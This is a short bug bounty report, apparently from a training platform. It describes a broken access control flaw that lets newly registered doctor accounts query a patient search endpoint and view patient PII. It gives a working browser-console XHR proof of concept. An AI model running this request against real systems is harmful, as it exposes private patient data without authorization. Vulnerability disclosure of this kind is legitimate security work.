BugBountyHunter

Summary:

• Newly registered doctor's are not allowed to make some API call's but Patient Search endpoint is still accessible.
• By manually crafting request to /drpanel/drapi/qp.php an Newly registered can view patient information.

Steps To Reproduce:

• Login to your newly registered account.

• Paste this code on browser console.

     var xhr = new XMLHttpRequest();
     xhr.open("POST", 'drapi/qp.php', true);
     xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  
    xhr.onreadystatechange = function() {
      if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
        alert(this.responseText);
       } else { } }
   xhr.send("name="); 

Impact:

Newly Registered Doctor's can view patient's PII.